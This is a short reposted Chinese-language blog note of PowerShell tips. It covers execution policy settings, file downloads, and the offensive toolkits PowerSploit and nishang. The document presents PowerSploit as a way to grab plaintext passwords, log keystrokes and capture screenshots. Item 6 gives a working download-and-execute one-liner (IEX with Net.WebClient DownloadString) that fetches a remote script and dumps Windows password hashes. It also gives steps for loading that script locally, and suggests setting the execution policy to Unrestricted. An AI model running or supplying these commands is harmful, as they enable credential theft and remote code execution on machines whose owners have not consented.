转自:http://codeliker.github.io/%E4%BB%A3%E7%A0%81/2014/11/21/powershell-notes/
Powershell Notes powershell
1.powershell
执行脚本:
默认情况是阻止的,输入如下命令即可运行powershell
脚本:
set-executionpolicy remotesigned
2.powershell
脚本后缀为:ps1
3.route add,Nod32,portscan(no),mb_login(yes)
4.powershell
下载文件:
(new-object System.Net.WebClient).DownloadFile( 'http://down.360safe.com/inst.exe','I:\360.exe')
5.功能强大的 powershell
合集: https://github.com/mattifestation/PowerSploit.,可以获取明文口令、键盘记录、定时截图等。
用法简单说明:
将powersploit文件夹拷贝到powershell
模块目录下,其模块目录可以通过
echo $Env:PSModulePath
查看模块目录。注意:文件夹名称必须是powersploit
。然后导入模块:
import -m powersploit
接着就可以使用:
get-command -m powersploit
查看其命令,并可以get-help
查看其命令帮助了。
6.powershell
获取HASH
:
获取HASH
的powershell
脚本为:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1.
使用方法有如下两种:
1).
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
2).
iex -command .\Get-PassHashes.ps1;get-passhashes
(这种方式不正确,因为文件内容整体上没有被认为是字符串类型)。可用的方式是:在get-passhashes.ps1
文件最后面,加上 Get-PassHashes
即可(因为文件只提供了函数定义,没有调用,我们加上调用语句 即可,调用时,这里不要加括号之类的,然后powershell
中执行该文件即可。
3).导入模块
import-module Get-PassHashes.ps1
然后调用 Get-PassHashes
即可。也可以合起来一起写:
import-module .\Get-PassHashes.ps1;get-passhashes
7.导入模块
导入模块分为两种,一种是导入到系统模块,还有一直是导入到当前会话。
导入到系统模块,则会全局生效,需要拷贝到 $Env:PSModulePath
中指定的路径之下,并使用
import -m 模块名
即可导入。
导入到当前会话,只需要
import-module 模块文件名
然后就可以调用其命令了。到powershell
退出后,模块也跟着消逝。
如果导入模块时,报未经数字签名的错误,可以设置数字签名为不限制的来解决
Set-ExecutionPolicy Unrestricted
或者右键该文件,选择解除锁定